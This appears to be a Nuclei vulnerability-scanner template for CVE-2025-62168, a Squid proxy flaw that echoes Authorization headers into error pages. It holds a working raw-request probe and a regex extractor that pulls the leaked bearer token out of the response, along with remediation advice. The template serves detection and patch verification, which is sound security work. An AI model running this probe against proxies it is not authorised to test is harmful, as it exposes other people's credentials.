Squid versions prior to 7.2 fail to redact HTTP authentication credentials in error page responses. The Authorization header value is embedded in plain text inside the mailto: diagnostic block when Squid generates an error page (e.g. ERR_DNS_FAIL).
PoC
id: CVE-2025-62168
info:
name: Squid Proxy - HTTP Authentication Credentials Disclosure
author: xtr0nix
severity: critical
description: |
Squid versions prior to 7.2 fail to redact HTTP authentication credentials in error page responses. The Authorization header value is embedded in plain text inside the mailto: diagnostic block when Squid generates an error page (e.g. ERR_DNS_FAIL).
impact: |
Attackers can extract tokens and credentials used by trusted clients or backend applications proxied through Squid.
remediation: |
Update to the version 7.2+ or disable debug information in administrator mailto links generated by Squid by configuring squid.conf with email_err_data off.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-62168
- https://github.com/squid-cache/squid/security/advisories/GHSA-c8cc-phh7-xmxr
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 10.0
cve-id: CVE-2025-62168
epss-score: 0.62871
epss-percentile: 0.99154
cwe-id: CWE-209
metadata:
verified: true
max-request: 1
tags: cve,cve2025,info-disclosure,squid,proxy
variables:
token: "{{randstr}}"
invalid_host: "{{rand_base(16)}}.invalid"
http:
- raw:
- |+
GET http://{{invalid_host}}/ HTTP/1.1
Host: {{invalid_host}}
Authorization: Bearer {{token}}
unsafe: true
matchers:
- type: dsl
dsl:
- 'status_code == 503'
- 'contains(body, "mailto:")'
- 'contains(body, "ERR_DNS_FAIL")'
- 'contains(body, "{{token}}")'
condition: and
extractors:
- type: regex
part: body
name: leaked-token
regex:
- "Authorization%3A%20Bearer%20([^%]+)"
# digest: 4b0a00483046022100f3e8b0daf4977a02d61898fb8e3cfd08520c345b25f4f866948e41f97ad9b7c5022100a5453ac086e9a9ef3982e78239827ce5dee8b80561357439859e4182b668c6cc:922c64590222798bb761d5b6d8e72950
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